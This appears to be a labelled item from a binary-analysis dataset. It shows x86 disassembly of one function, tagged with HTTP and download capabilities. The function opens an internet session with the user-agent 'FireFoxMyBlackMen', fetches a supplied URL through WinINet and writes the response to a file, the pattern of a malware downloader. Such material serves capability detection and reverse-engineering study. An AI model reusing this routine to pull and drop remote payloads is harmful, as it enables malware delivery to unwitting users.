Function at 0x10040380
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10055ed0
mov eax, dword fs:[0]
push eax
mov eax, 0x10b8
call fcn.10052650
mov eax, dword [0x10064040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov esi, ecx
push 0
push 0
push 0
push 1
push str.FireFoxMyBlackMen
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
je 0x100403f7
cmp dword [esi + 0x14], 0xf
jbe 0x100403d7
mov esi, dword [esi]
push 0
push 0x80000000
push 0
push 0
push esi
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x100403fe
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x100405cc
push 0xb0
lea eax, [ebp - 0x10c4]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [ebx + 0x14], 0xf
jbe 0x1004041c
mov ebx, dword [ebx]
sub esp, 8
lea ecx, [ebp - 0x10c4]
push 0x20
push ebx
call fcn.1000b290
mov eax, dword [ebp - 0x10c4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x10c4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x10c8], eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x10c4]
mov eax, dword [ebp - 0x10c4]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator__void_const]
test al, al
je 0x10040487
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
xor bl, bl
jmp 0x10040521
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
mov dword [ebp - 0x1014], 0
push eax
push esi
call ebx
test eax, eax
je 0x100404eb
mov eax, dword [ebp - 0x1014]
test eax, eax
je 0x100404eb
push 0
push eax
lea eax, [ebp - 0x1010]
push eax
lea ecx, [ebp - 0x10c4]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push esi
call ebx
test eax, eax
jne 0x100404b1
lea ecx, [ebp - 0x10c0]
call fcn.1000c060
test eax, eax
jne 0x10040513
mov eax, dword [ebp - 0x10c4]
lea ecx, [ebp - 0x10c4]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov bl, 1
mov eax, dword [ebp - 0x10c4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x10c4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x10c8], eax
mov dword [ebp - 4], 2
cmp dword [ebp - 0x1074], 0
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x10040592
mov eax, dword [ebp - 0x10b4]
lea ecx, [ebp - 0x1084]
cmp dword [eax], ecx
jne 0x10040592
mov edx, dword [ebp - 0x106c]
mov ecx, dword [ebp - 0x1070]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x10a4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1094]
mov dword [eax], edx
cmp byte [ebp - 0x1078], 0
je 0x100405a6
lea ecx, [ebp - 0x10c0]
call fcn.1000c060
lea ecx, [ebp - 0x10c0]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x10bc]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x105c]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10051327
mov esp, ebp
pop ebp
ret